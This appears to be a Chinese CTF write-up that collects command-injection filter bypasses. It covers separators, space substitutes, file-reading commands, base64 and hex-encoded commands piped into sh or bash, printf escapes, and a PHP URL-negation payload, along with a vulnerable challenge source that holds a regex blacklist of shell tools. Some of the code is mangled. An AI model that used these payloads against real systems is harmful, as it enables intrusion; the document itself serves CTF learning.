ctf命令執行漏洞繞過方式小結

2021-10-23 10:45:52 字數 2523 閱讀 3338

測試環境:

本地:win10 phpstudy8.1 kali2020.2

外網:單位提供的linux靶機

一、命令分隔符

%0a – 換行符,

%0d – 回車符,

; – 連續指令

&& –

| –|| –

二、空格

<  <> 	%09		 $ifs$9		$
三、讀檔案

(1)more:一頁一頁的顯示檔案內容

(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁

(3)head:檢視頭幾行

(4)tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示

(5)tail:檢視尾幾行

(6)nl:顯示的時候,順便輸出行號

(7)od:以二進位制的方式讀取檔案內容(不推薦)

(8)vi:一種編輯器,這個也可以檢視

(9)vim:一種編輯器,這個也可以檢視(靶機測試不能用)

(10)sort:可以檢視

(11)uniq:可以檢視

(12)file -f和 tailf

四、繞過方法

1.拼接繞過

前提:分號可以用

2.編碼

如base64

echo y2f0igzsywcucghw|base64 -d|sh   cat flag.php

`echo y2f0igzsywcucghw|base64 -d`

如16進製制

echo "0x63617420666c61672e706870" | xxd -r -p|bash  cat flag.php

$(printf "\154\163") ==>ls 八進位制

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

|\$0 ==>cat /flag

3.新增一些字元

單引號,雙引號,斜槓$1等和$@
4.萬用字元:* ?

5.內聯如:

cat$ifs$9`ls`
五、其他方法

使用str_replace() 可以使用雙寫繞過

大小繞過可以針對目標機為windows linux是區分大小寫的

用url編碼取反繞過(靶機過濾了$,只能在windows下自測)構造簡單的測試環境

<?php 

if (isset($_get['cmd']))

highlight_file(__file__);

?>

直接?cmd=system(dir);不行

用url編碼取反

<?php 

echo urlencode(~"_get");

?>

得到%a0%b8%ba%ab,用get方式構造payload繞過

?cmd=$_=~%a0%b8%ba%ab;$[_]($[__]);&_=system&__=dir
<?php 

error_reporting(e_all || ~ e_notice);

header('content-type:text/html;charset=utf-8');

$cmd = $_get['cmd'];

if (!isset($_get['img']) || !isset($_get['cmd']))

header('refresh:0;url=./index.php?img=txpvek5uttfnbvuzturabe5qyz0&cmd=');

$file = hex2bin(base64_decode(base64_decode($_get['img'])));

$file = preg_replace("/[^a-za-z0-9.]+/", "", $file);

if (preg_match("/flag/i", $file)) else

echo $cmd;

echo "

";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xa0|\|\(|\)|\&[^\d]|@|\||\\$|\[|\]||\(|\)|-|/i", $cmd)) else else

}?>

獲得原始碼後這題就很簡單了,md5碰撞後,繞過黑名單裡的指令獲得flag如下

命令執行漏洞各種繞過方式

空格過濾 黑名單繞過 萬用字元繞過 內斂執行繞過 編碼繞過 繞過長度限制 最後參考文章 剛做了一道題,是有關命令執行漏洞的,裡面過濾的內容比較多,一時間找不到頭緒,所以學習一下關於命令執行漏洞的繞過方式,以便以後遇到不會像現在這樣一點思路都沒有。總結完再去做就很輕鬆了。直接執行後面的語句 如果前面命...

記一次命令執行漏洞的繞過姿勢

在乙個ctf平台上發現了乙個命令執行的題目 題目源 如下 isset request ip show source file 這個 其實很容易就可以看懂,用ip傳參,然後帶入shell exec中執行命令 shell exec 通過shell環境執行命令,並且將完整的輸出以字串的方式返回 他前面用了...

命令執行漏洞

命令執行漏洞 命令執行漏洞是指攻擊者可以隨意執行系統命令。os命令執行漏洞 部分web應用程式提供了一些命令執行的操作。例如,想要測試是否可以正常連線,那麼web應用程式底層就很可能去呼叫系統操作命令,如果此處沒有過濾好使用者輸入的資料,就很有可能形成系統命令執行漏洞 在windows中,的作用是將...